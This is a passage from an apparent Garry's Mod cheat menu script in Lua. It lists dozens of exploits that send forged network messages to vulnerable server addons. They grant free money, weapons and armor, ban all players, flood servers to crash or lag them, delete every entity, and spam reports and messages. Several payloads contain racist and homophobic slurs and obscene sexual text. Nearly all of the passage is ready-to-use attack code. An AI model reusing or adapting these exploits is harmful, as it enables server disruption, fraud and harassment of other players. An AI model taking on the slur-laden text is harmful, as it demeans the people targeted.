7221ECNotify("Starting")
7222for k, v in pairs(player.GetAll()) do
7223net.Start("BailOut")
7224net.WriteEntity(LocalPlayer())
7225net.WriteEntity(v)
7226net.WriteFloat(-999999999)
7227net.SendToServer()
7228end
7229end )
7230end
7231
7232status = ValidNetString("hitcomplete")
7233if (status) then
7234ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
7235addExploit( "138","Free Money #18", "get money", function()
7236surface.PlaySound("garrysmod/ui_click.wav")
7237ECNotify("Starting")
7238net.Start("hitcomplete")
7239net.WriteDouble(99999999)
7240net.SendToServer()
7241end )
7242end
7243----------------------------------------
7244for k,v in pairs(player.GetAll()) do
7245dahater = v
7246end
7247----------------------------------------
7248status = ValidNetString("hhh_request")
7249if (status) then
7250ECPrint("Found Exploit: Free Money #19 [hhh_request]")
7251addExploit( "139","Free Money #19", "get money", function()
7252surface.PlaySound("garrysmod/ui_click.wav")
7253ECNotify("Starting")
7254local plyhhh = LocalPlayer()
7255if dahater != plyhhh then
7256local hitRequest = {}
7257hitRequest.hitman = plyhhh
7258hitRequest.requester = plyhhh
7259hitRequest.target = dahater
7260hitRequest.reward = -9999999
7261net.Start('hhh_request')
7262net.WriteTable(hitRequest)
7263net.SendToServer()
7264else
7265ECPrint("In this version of HHH, you can not use an exploit!")
7266end
7267end )
7268end
7269
7270status = ValidNetString("DaHit")
7271if (status) then
7272ECPrint("Found Exploit: Free Money #20 [DaHit]")
7273addExploit( "140","Free Money #20", "get money", function()
7274surface.PlaySound("garrysmod/ui_click.wav")
7275ECNotify("Starting")
7276hook.Remove( "HUDPaint", "skhdsakjl")
7277net.Start("DaHit")
7278net.WriteFloat(-99999999)
7279net.WriteEntity(LocalPlayer())
7280net.WriteEntity(LocalPlayer())
7281net.WriteEntity(LocalPlayer())
7282net.SendToServer()
7283end )
7284end
7285
7286status = ValidNetString("textstickers_entdata")
7287if (status) then
7288ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
7289addExploit( "141","Crash #2", "1tap", function()
7290surface.PlaySound("garrysmod/ui_click.wav")
7291ECNotify("Starting")
7292net.Start("textstickers_entdata")
7293net.WriteUInt(0xFFFFFFF, 32)
7294net.SendToServer()
7295end )
7296end
7297
7298status = ValidNetString("gBan.BanBuffer")
7299if (status) then
7300ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
7301addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
7302surface.PlaySound("garrysmod/ui_click.wav")
7303ECNotify("Starting")
7304for k,v in pairs(player.GetAll()) do
7305if v != LocalPlayer() then
7306net.Start("gBan.BanBuffer")
7307net.WriteBool(true)
7308net.WriteInt(0, 32)
7309net.WriteString("haha owned")
7310net.WriteString(v:SteamID())
7311net.SendToServer()
7312end
7313end
7314end )
7315end
7316
7317status = ValidNetString("ARMORY_RetrieveWeapon")
7318if (status) then
7319ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
7320addExploit( "143","Free Armory #1", "get weapon #1", function()
7321surface.PlaySound("garrysmod/ui_click.wav")
7322ECNotify("Starting")
7323net.Start("ARMORY_RetrieveWeapon")
7324net.WriteString("weapon1")
7325net.SendToServer()
7326end )
7327end
7328
7329status = ValidNetString("ARMORY_RetrieveWeapon")
7330if (status) then
7331ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
7332addExploit( "144","Free Armory #2", "get weapon #2", function()
7333surface.PlaySound("garrysmod/ui_click.wav")
7334ECNotify("Starting")
7335net.Start("ARMORY_RetrieveWeapon")
7336net.WriteString("weapon2")
7337net.SendToServer()
7338end )
7339end
7340
7341status = ValidNetString("ARMORY_RetrieveWeapon")
7342if (status) then
7343ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
7344addExploit( "145","Free Armory #3", "get weapon #3", function()
7345surface.PlaySound("garrysmod/ui_click.wav")
7346ECNotify("Starting")
7347net.Start("ARMORY_RetrieveWeapon")
7348net.WriteString("weapon3")
7349net.SendToServer()
7350end )
7351end
7352
7353status = ValidNetString("TransferReport")
7354if (status) then
7355ECPrint("Found Exploit: Report Spammer [TransferReport]")
7356addExploit( "146","Report Spammer", "report all players", function()
7357surface.PlaySound("garrysmod/ui_click.wav")
7358ECNotify("Starting")
7359net.Start("TransferReport")
7360net.WriteString(v:SteamID())
7361net.WriteString("CHINKGANG FAGOTS")
7362net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
7363net.SendToServer()
7364end )
7365end
7366
7367status = ValidNetString("FIRE_CreateFireTruck")
7368if (status) then
7369ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
7370addExploit( "147","Create Fire Truck", "", function()
7371surface.PlaySound("garrysmod/ui_click.wav")
7372ECNotify("Starting")
7373net.Start("FIRE_CreateFireTruck")
7374net.SendToServer()
7375end )
7376end
7377
7378status = ValidNetString("TFA_Attachment_RequestAll")
7379if (status) then
7380ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
7381addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
7382surface.PlaySound("garrysmod/ui_click.wav")
7383if !timer.Exists( "lagger20" ) then
7384timer.Create("lagger20", 0,0, function()
7385for i = 1, 800 do
7386net.Start("TFA_Attachment_RequestAll",true)
7387net.SendToServer()
7388end
7389end)
7390ECNotify("Starting Lagger")
7391else
7392timer.Remove("lagger20")
7393ECNotify("Stopping Lagger")
7394end
7395end)
7396end
7397
7398status = ValidNetString("FIRE_RemoveFireTruck")
7399if (status) then
7400ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
7401addExploit( "149","Remove Fire Truck", "", function()
7402surface.PlaySound("garrysmod/ui_click.wav")
7403ECNotify("Starting")
7404net.Start("FIRE_RemoveFireTruck")
7405net.SendToServer()
7406end )
7407end
7408
7409status = ValidNetString("gPrinters.sendID")
7410if (status) then
7411ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
7412addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
7413surface.PlaySound("garrysmod/ui_click.wav")
7414ECNotify("Starting")
7415if not timer.Exists("lagger21") then
7416timer.Create("lagger21", 0, 0, function()
7417for i = 1, 1000 do
7418net.Start("gPrinters.sendID",true)
7419net.WriteEntity(LocalPlayer())
7420net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
7421net.SendToServer()
7422end
7423end )
7424end
7425end )
7426end
7427
7428status = ValidNetString("requestmoneyforvk") -- RusElite Server
7429if (status) then
7430ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
7431addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
7432surface.PlaySound("garrysmod/ui_click.wav")
7433ECNotify("Starting")
7434net.Start("requestmoneyforvk")
7435net.WriteEntity(LocalPlayer())
7436net.SendToServer()
7437end )
7438end
7439
7440status = ValidNetString("vj_testentity_runtextsd")
7441if (status) then
7442ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
7443addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
7444surface.PlaySound("garrysmod/ui_click.wav")
7445ECNotify("Starting")
7446for k,v in pairs(player.GetAll()) do
7447net.Start("vj_testentity_runtextsd")
7448net.WriteEntity(v)
7449net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
7450net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
7451net.SendToServer()
7452end
7453end )
7454end
7455
7456status = ValidNetString("NET_BailPlayer") -- need to test
7457if (status) then
7458ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
7459addExploit( "153","Players Spam", "", function()
7460surface.PlaySound("garrysmod/ui_click.wav")
7461ECNotify("Starting")
7462for k, v in pairs (player.GetAll()) do
7463net.Start("NET_BailPlayer")
7464net.WriteEntity(v)
7465net.WriteEntity(v)
7466net.SendToServer()
7467end
7468end )
7469end
7470
7471status = ValidNetString("Taxi_Add") -- need to test
7472if (status) then
7473ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
7474addExploit( "154","Free Money #21", "maybe not work", function()
7475surface.PlaySound("garrysmod/ui_click.wav")
7476ECNotify("Starting")
7477net.Start("Taxi_Add")
7478net.WriteString("MLG")
7479net.WriteTable({-1333.647461, -1473.931763, -139.968750})
7480net.WriteFloat(-99999999)
7481net.WriteString(Desc)
7482net.SendToServer()
7483end )
7484end
7485
7486status = ValidNetString("BuyCar")
7487if (status) then
7488ECPrint("Found Exploit: Free Money #22 [BuyCar]")
7489addExploit( "155","Free Money #22", "get money", function()
7490surface.PlaySound("garrysmod/ui_click.wav")
7491ECNotify("Starting")
7492net.Start('BuyCar')
7493net.WriteFloat(-1000000)
7494net.WriteEntity(LocalPlayer())
7495net.WriteString("Gay")
7496net.WriteString("Cock")
7497net.WriteString("Twat")
7498net.SendToServer()
7499end )
7500end
7501
7502status = ValidNetString("rpi_trade_end")
7503if (status) then
7504ECPrint("Found Exploit: Test Function [rpi_trade_end]")
7505addExploit( "156","Test Function", "just test", function()
7506surface.PlaySound("garrysmod/ui_click.wav")
7507ECNotify("Starting")
7508local it = 0
7509timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
7510if( it > #player.GetAll() ) then
7511it = 1;
7512else
7513it = it + 1;
7514end
7515net.Start("rpi_trade_end")
7516net.WriteUInt( it, 16 )
7517net.SendToServer()
7518end )
7519end )
7520end
7521
7522status = ValidNetString("ClickerForceSave")
7523if (status) then
7524ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
7525addExploit( "157","Melon Crash", "", function()
7526surface.PlaySound("garrysmod/ui_click.wav")
7527ECNotify("Starting")
7528hook.Add("Think","ps_spam",function()
7529for k, v in pairs (player.GetAll()) do
7530net.Start("ClickerForceSave")
7531net.WriteEntity(ply)
7532net.WriteInt(1, 1)
7533net.SendToServer()
7534end
7535end )
7536end )
7537end
7538
7539status = ValidNetString("SRequest")
7540if (status) then
7541ECPrint("Found Exploit: Deagle Grab [SRequest]")
7542addExploit( "158","Deagle Grab", "", function()
7543surface.PlaySound("garrysmod/ui_click.wav")
7544ECNotify("Starting")
7545for k, v in pairs (player.GetAll()) do
7546net.Start("SRequest")
7547net.WriteEntity(v)
7548net.SendToServer()
7549end
7550end )
7551end
7552
7553status = ValidNetString("HealButton")
7554if (status) then
7555ECPrint("Found Exploit: Free HP [HealButton]")
7556addExploit( "159","Free HP", "free hp", function()
7557surface.PlaySound("garrysmod/ui_click.wav")
7558ECNotify("Starting")
7559net.Start("HealButton")
7560net.WriteEntity(LocalPlayer())
7561net.WriteFloat(999999)
7562net.SendToServer()
7563end )
7564end
7565
7566status = ValidNetString("ArmorButton")
7567if (status) then
7568ECPrint("Found Exploit: Free Armor [ArmorButton]")
7569addExploit( "160","Free Armor", "free armor", function()
7570surface.PlaySound("garrysmod/ui_click.wav")
7571ECNotify("Starting")
7572net.Start("ArmorButton")
7573net.WriteEntity(LocalPlayer())
7574net.WriteFloat(999999)
7575net.SendToServer()
7576end )
7577end
7578
7579status = ValidNetString("SprintSpeedset")
7580if (status) then
7581ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
7582addExploit( "161","TTT SpeedHack", "changes your speed", function()
7583surface.PlaySound("garrysmod/ui_click.wav")
7584ECNotify("Starting")
7585net.Start("SprintSpeedset")
7586net.WriteFloat(math.min(math.max(2, 0.1),2 ))
7587net.SendToServer()
7588end )
7589end
7590
7591status = ValidNetString("GiveArmor100")
7592if (status) then
7593ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
7594addExploit( "162","Armor Exploit", "", function()
7595surface.PlaySound("garrysmod/ui_click.wav")
7596ECNotify("Starting")
7597net.Start("GiveArmor100")
7598net.SendToServer()
7599end )
7600end
7601
7602status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
7603if (status) then
7604ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
7605SCPLAG = 0
7606addExploit( "163","SCP 249 JAM!", "", function()
7607surface.PlaySound("garrysmod/ui_click.wav")
7608ECNotify("Starting")
7609if (SCPLAG == 0) then
7610SCPLAG = 1
7611timer.Create( "LagThatShit", time, 0.05, function()
7612for k, v in pairs( ents.GetAll() ) do
7613if v:GetClass() == "scp294" then
7614net.Start("GiveSCP294Cup")
7615net.WriteString("shit")
7616net.WriteEntity(v)
7617net.SendToServer()
7618end
7619end
7620end)
7621else
7622SCPLAG = 0
7623timer.Remove("LagThatShit")
7624end
7625end)
7626end
7627
7628status = ValidNetString("Client_To_Server_OpenEditor")
7629if (status) then
7630ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
7631addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7632surface.PlaySound("garrysmod/ui_click.wav")
7633ECNotify("Starting")
7634net.Start("Client_To_Server_OpenEditor")
7635net.SendToServer()
7636end )
7637end
7638
7639status = ValidNetString("DuelMessageReturn")
7640if (status) then
7641ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
7642addExploit( "165","Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
7643surface.PlaySound("garrysmod/ui_click.wav")
7644ECNotify("Starting")
7645timer.Create("crazyduel", 0.1, 0, function()
7646s.duel[1] = table.Random( player.GetAll() )
7647s.duel[2] = table.Random( player.GetAll() )
7648net.Start("DuelMessageReturn")
7649net.WriteFloat(1)
7650net.WriteTable(s.duel)
7651net.SendToServer()
7652end )
7653end )
7654end
7655
7656status = ValidNetString("userAcceptPrestige")
7657if (status) then
7658ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
7659addExploit( "166","Free Prestige", "exploit for free prestige", function()
7660surface.PlaySound("garrysmod/ui_click.wav")
7661ECNotify("Starting")
7662net.Start("userAcceptPrestige")
7663net.SendToServer()
7664end )
7665end
7666
7667status = ValidNetString("wordenns")
7668if (status) then
7669ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
7670addExploit( "167","Steal All Monies #11", "withdraw money from all printers", function()
7671surface.PlaySound("garrysmod/ui_click.wav")
7672ECNotify("Starting")
7673ECPrint("printers:".. tostring(#ents.FindByClass("derma_printer")))
7674for k,v in pairs(ents.FindByClass("derma_printer")) do
7675net.Start("wordenns")
7676net.WriteEntity(v)
7677net.SendToServer()
7678end
7679end)
7680end
7681
7682status = ValidNetString("guncraft_removeWorkbench")
7683if (status) then
7684ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
7685addExploit( "168","Remove all Entity", "an exploit in addon 'GunCraft'", function()
7686surface.PlaySound("garrysmod/ui_click.wav")
7687ECNotify("Starting")
7688if !timer.Exists( "removentity" ) then
7689timer.Create("removentity", 3, 0, function()
7690for k,v in pairs(ents.GetAll()) do
7691net.Start("guncraft_removeWorkbench")
7692net.WriteEntity(v)
7693net.SendToServer()
7694end
7695end )
7696end
7697end )
7698end
7699
7700status = ValidNetString("BuyKey")
7701if (status) then
7702ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
7703addExploit( "169","Blue Unbox Exploit", "", function()
7704surface.PlaySound("garrysmod/ui_click.wav")
7705ECNotify("Starting")
7706net.Start("BuyKey")
7707net.SendToServer()
7708net.Start("BuyCrate")
7709net.SendToServer()
7710end )
7711end
7712
7713status = ValidNetString("casinokit_chipexchange")
7714if (status) then
7715ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
7716addExploit( "170","Free Money #23", "only works if outdated", function()
7717surface.PlaySound("garrysmod/ui_click.wav")
7718ECNotify("Starting")
7719local moneylog = LocalPlayer():getDarkRPVar("money")
7720net.Start("casinokit_chipexchange")
7721net.WriteEntity(self)
7722net.WriteString("darkrp")
7723net.WriteBool(true)
7724net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7725net.SendToServer()
7726timer.Simple(3, function()
7727for i=1, 5000 do
7728net.Start("casinokit_chipexchange")
7729net.WriteEntity(self)
7730net.WriteString("darkrp")
7731net.WriteBool(false)
7732net.WriteUInt(moneylog*0.10,32)
7733net.SendToServer()
7734end
7735end)
7736end )
7737end
7738
7739status = ValidNetString("PurchaseWeed")
7740if (status) then
7741ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
7742addExploit( "171","Buy Weed", "", function()
7743surface.PlaySound("garrysmod/ui_click.wav")
7744ECNotify("Starting")
7745net.Start("PurchaseWeed")
7746net.WriteInt(tonumber(10000),16)
7747net.WriteInt(tonumber(1),16)
7748net.WriteBool(LocalPlayer().Buying)
7749net.SendToServer()
7750end )
7751end
7752
7753status = ValidNetString("PurchaseWeed")
7754if (status) then
7755ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
7756addExploit( "172","Sell Weed", "", function()
7757surface.PlaySound("garrysmod/ui_click.wav")
7758ECNotify("Starting")
7759net.Start("PurchaseWeed")
7760net.WriteInt(tonumber(100),16)
7761net.WriteInt(tonumber(100),16)
7762net.WriteBool(LocalPlayer().Selling)
7763net.SendToServer()
7764end )
7765end
7766
7767status = ValidNetString("DoDealerDeliver")
7768if (status) then
7769ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
7770addExploit( "173","Buy Tab", "", function()
7771surface.PlaySound("garrysmod/ui_click.wav")
7772ECNotify("Starting")
7773if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7774net.Start("DoDealerDeliver")
7775net.WriteBool(false)
7776net.SendToServer()
7777end
7778end )
7779end
7780
7781status = ValidNetString("DoDealerDeliver")
7782if (status) then
7783ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
7784addExploit( "174","Buy Bong", "", function()
7785surface.PlaySound("garrysmod/ui_click.wav")
7786ECNotify("Starting")
7787if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7788net.Start("DoDealerDeliver")
7789net.WriteBool(true)
7790net.SendToServer()
7791end
7792end )
7793end
7794
7795status = ValidNetString("sendDuelInfo")
7796if (status) then
7797ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
7798addExploit( "175","Duel NPC Exploit", "", function()
7799surface.PlaySound("garrysmod/ui_click.wav")
7800ECNotify("Starting")
7801net.Start("sendDuelInfo")
7802net.WriteString(table.Random(player.GetAll()):Nick())
7803net.WriteString("xxdddd")
7804net.WriteString("1e+100")
7805net.WriteEntity(table.random(player.GetAll()):UserID())
7806net.WriteInt(3,3)
7807net.SendToServer()
7808end )
7809end
7810
7811status = ValidNetString("InviteMember")
7812if (status) then
7813ECPrint("Found Exploit: Invite all players [InviteMember]")
7814addExploit( "176","Invite all players", "Invite all players to your org", function()
7815surface.PlaySound("garrysmod/ui_click.wav")
7816ECNotify("Starting")
7817for k,v in pairs(player.GetAll()) do
7818net.Start("InviteMember")
7819net.WriteEntity(v)
7820net.WriteEntity(v)
7821net.WriteString("lol what")
7822net.SendToServer()
7823end
7824end )
7825end
7826
7827status = ValidNetString("newTerritory")
7828if (status) then
7829ECPrint("Found Exploit: New Territory [newTerritory]")
7830addExploit( "177","New Territory", "", function()
7831surface.PlaySound("garrysmod/ui_click.wav")
7832ECNotify("Starting")
7833for k,v in pairs(player.GetAll()) do
7834net.Start("newTerritory")
7835net.WriteString("Hackers")
7836net.WriteTable(t)
7837net.SendToServer()
7838end
7839end )
7840end
7841
7842status = ValidNetString("CreateOrganization")
7843if (status) then
7844ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
7845addExploit( "178","Org Exploit", "", function()
7846surface.PlaySound("garrysmod/ui_click.wav")
7847ECNotify("Starting")
7848for k,v in pairs(player.GetAll()) do
7849net.Start("CreateOrganization")
7850net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7851net.WriteString( "Join my gang or will rekt u" )
7852net.SendToServer()
7853end
7854end )
7855end
7856
7857status = ValidNetString("DisbandOrganization")
7858if (status) then
7859ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
7860addExploit( "179","Org Disband", "", function()
7861surface.PlaySound("garrysmod/ui_click.wav")
7862ECNotify("Starting")
7863net.Start("DisbandOrganization")
7864net.WriteEntity(LocalPlayer())
7865net.SendToServer()
7866end )
7867end
7868
7869status = ValidNetString("ChangeOrgName")
7870if (status) then
7871ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
7872addExploit( "180","Org Change Name", "", function()
7873surface.PlaySound("garrysmod/ui_click.wav")
7874ECNotify("Starting")
7875net.Start("ChangeOrgName")
7876net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7877net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7878net.WriteEntity(LocalPlayer())
7879net.SendToServer()
7880end )
7881end
7882
7883status = ValidNetString("IS_SubmitSID_C2S")
7884if (status) then
7885ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7886addExploit( "181","Free Reward", "", function()
7887surface.PlaySound("garrysmod/ui_click.wav")
7888ECNotify("Starting")
7889net.Start("IS_SubmitSID_C2S")
7890net.WriteString("Killa")
7891net.SendToServer()
7892net.Start("IS_GetReward_C2S")
7893net.SendToServer()
7894end )
7895end
7896
7897status = ValidNetString("AcceptBailOffer")
7898if (status) then
7899ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
7900addExploit( "182","Bail Offer Exploit", "", function()
7901surface.PlaySound("garrysmod/ui_click.wav")
7902ECNotify("Starting")
7903for k,v in pairs(player.GetAll()) do
7904net.Start("AcceptBailOffer")
7905net.WriteEntity(v)
7906net.WriteUInt(-100000000000000000, 16 )
7907net.SendToServer()
7908end
7909end )
7910end
7911
7912status = ValidNetString("CP_Test_Results")
7913if (status) then
7914ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
7915addExploit( "183","CP Bypass", "", function()
7916surface.PlaySound("garrysmod/ui_click.wav")
7917ECNotify("Starting")
7918net.Start("CP_Test_Results")
7919net.WriteInt(1 ,8)
7920net.SendToServer()
7921end )
7922end
7923
7924status = ValidNetString("ReSpawn")
7925if (status) then
7926ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
7927addExploit( "184","Respawn #4", "just respawn", function()
7928surface.PlaySound("garrysmod/ui_click.wav")
7929ECNotify("Starting")
7930net.Start("ReSpawn")
7931net.SendToServer()
7932end )
7933end
7934
7935status = ValidNetString("FIGHTCLUB_KickPlayer")
7936if (status) then
7937ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
7938addExploit( "185","Fight Club Kick", "", function()
7939surface.PlaySound("garrysmod/ui_click.wav")
7940ECNotify("Starting")
7941for k,v in pairs(player.GetAll()) do
7942net.Start("FIGHTCLUB_KickPlayer")
7943net.WriteBit(v)
7944net.WriteEntity(v)
7945net.SendToServer()
7946end
7947end )
7948end
7949
7950status = ValidNetString("FIGHTCLUB_StartFight")
7951if (status) then
7952ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
7953addExploit( "186","Fight Club Start Fight", "", function()
7954surface.PlaySound("garrysmod/ui_click.wav")
7955ECNotify("Starting")
7956for k,v in pairs(player.GetAll()) do
7957net.Start("FIGHTCLUB_StartFight")
7958net.WriteEntity(v)
7959net.SendToServer()
7960end
7961end )
7962end
7963
7964status = ValidNetString("IveBeenRDMed")
7965if (status) then
7966ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
7967addExploit( "187","Fake RDM", "", function()
7968surface.PlaySound("garrysmod/ui_click.wav")
7969ECNotify("Starting")
7970for k,v in pairs(player.GetAll()) do
7971net.Start("IveBeenRDMed")
7972net.WriteEntity(v)
7973net.SendToServer()
7974end
7975end )
7976end
7977
7978status = ValidNetString("nCTieUpStart")
7979if (status) then
7980ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
7981addExploit( "188","Combine Control Exploit", "", function()
7982surface.PlaySound("garrysmod/ui_click.wav")
7983ECNotify("Starting")
7984for k,v in pairs(ents.GetAll()) do
7985net.Start("nCTieUpStart")
7986net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7987net.SendToServer()
7988end
7989end )
7990end
7991
7992status = ValidNetString("DestroyTable")
7993if (status) then
7994ECPrint("Found Exploit: Fuck All [DestroyTable]")
7995addExploit( "189","Fuck All", "discovered by Leith", function()
7996surface.PlaySound("garrysmod/ui_click.wav")
7997ECNotify("Starting")
7998for k,v in pairs(ents.GetAll()) do
7999net.Start("DestroyTable")
8000net.WriteEntity(v)
8001net.SendToServer()
8002end
8003end )
8004end
8005
8006status = ValidNetString("start_wd_hack")
8007if (status) then
8008ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
8009addExploit( "190","Hack Phone Exploit", "", function()
8010surface.PlaySound("garrysmod/ui_click.wav")
8011ECNotify("Starting")
8012net.Start("start_wd_hack")
8013net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8014net.SendToServer()
8015end )
8016end
8017
8018status = ValidNetString("bringNfreeze")
8019if (status) then
8020ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
8021addExploit( "191","Ban Exploit", "", function()
8022surface.PlaySound("garrysmod/ui_click.wav")
8023ECNotify("Starting")
8024for k,v in pairs(player.GetAll()) do
8025net.Start('bringNfreeze')
8026net.WriteEntity(self)
8027net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8028net.SendToServer()
8029end
8030end )
8031end
8032
8033status = ValidNetString("JoinFirstSS")
8034if (status) then
8035ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
8036addExploit( "192","Join First SS", "", function()
8037surface.PlaySound("garrysmod/ui_click.wav")
8038ECNotify("Starting")
8039net.Start("JoinFirstSS")
8040net.WriteEntity(LocalPlayer())
8041net.SendToServer()
8042end )
8043end
8044
8045status = ValidNetString("unarrestPerson")
8046if (status) then
8047ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
8048addExploit( "193","Unarrest Person", "", function()
8049surface.PlaySound("garrysmod/ui_click.wav")
8050ECNotify("Starting")
8051for k,v in pairs(player.GetAll()) do
8052net.Start("unarrestPerson")
8053net.WriteEntity(v)
8054net.SendToServer()
8055end
8056end )
8057end
8058
8059status = ValidNetString("giveArrestReason")
8060if (status) then
8061ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
8062addExploit( "194","Give Arrest Reason", "", function()
8063surface.PlaySound("garrysmod/ui_click.wav")
8064ECNotify("Starting")
8065for k,v in pairs(player.GetAll()) do
8066net.Start("giveArrestReason")
8067net.WriteEntity(LocalPlayer())
8068net.WriteEntity(v)
8069net.WriteString("Faggot")
8070net.SendToServer()
8071end
8072end )
8073end
8074
8075status = ValidNetString("sellitem")
8076if (status) then
8077ECPrint("Found Exploit: Free Money #24 [sellitem]")
8078addExploit( "195","Free Money #24", "", function()
8079surface.PlaySound("garrysmod/ui_click.wav")
8080ECNotify("Starting")
8081net.Start("sellitem")
8082net.WriteString(self)
8083net.WriteEntity(LocalPlayer())
8084net.SendToServer()
8085end )
8086end
8087
8088status = ValidNetString("createFaction")
8089if (status) then
8090ECPrint("Found Exploit: Create Faction [createFaction]")
8091addExploit( "196","Create Faction", "", function()
8092surface.PlaySound("garrysmod/ui_click.wav")
8093ECNotify("Starting")
8094for k,v in pairs(player.GetAll()) do
8095net.Start("createFaction")
8096net.WriteEntity(v)
8097net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
8098net.SendToServer()
8099end
8100end )
8101end
8102
8103status = ValidNetString("inviteToOrganization")
8104if (status) then
8105ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
8106addExploit( "197","Faction Invite All", "", function()
8107surface.PlaySound("garrysmod/ui_click.wav")
8108ECNotify("Starting")
8109for k,v in pairs(player.GetAll()) do
8110net.Start("inviteToOrganization")
8111net.WriteEntity(v)
8112net.WriteEntity(LocalPlayer())
8113net.SendToServer()
8114end
8115end )
8116end
8117
8118status = ValidNetString("GovStation_SpawnVehicle")
8119if (status) then
8120ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
8121addExploit( "198","Gov Spawn", "", function()
8122surface.PlaySound("garrysmod/ui_click.wav")
8123ECNotify("Starting")
8124for k,v in pairs(ents.GetAll()) do
8125net.Start("GovStation_SpawnVehicle")
8126net.WriteString("GOV_POLICE")
8127net.SendToServer()
8128end
8129end )
8130end
8131
8132status = ValidNetString("GiveWeapon")
8133if (status) then
8134ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
8135addExploit( "199","Give Weapons #3", "get weapons", function()
8136surface.PlaySound("garrysmod/ui_click.wav")
8137ECNotify("Starting")
8138net.Start("GiveWeapon")
8139net.WriteEntity(LocalPlayer())
8140net.WriteString("m9k_davy_crockett")
8141net.WriteFloat(0)
8142net.SendToServer()
8143end )
8144end
8145
8146status = ValidNetString("DailyLoginClaim")
8147if (status) then
8148ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
8149addExploit( "200","Daily Login Reward", "", function()
8150surface.PlaySound("garrysmod/ui_click.wav")
8151ECNotify("Starting")
8152net.Start("DailyLoginClaim")
8153net.SendToServer()
8154end )
8155end
8156
8157status = ValidNetString("DL_AskLogsList")
8158if (status) then
8159ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
8160addExploit( "201","Ask Log List", "", function()
8161surface.PlaySound("garrysmod/ui_click.wav")
8162ECNotify("Starting")
8163net.Start("DL_AskLogsList")
8164net.SendToServer()
8165end )
8166end
8167
8168status = ValidNetString("DL_StartReport")
8169if (status) then
8170ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
8171addExploit( "202","DL Report All", "", function()
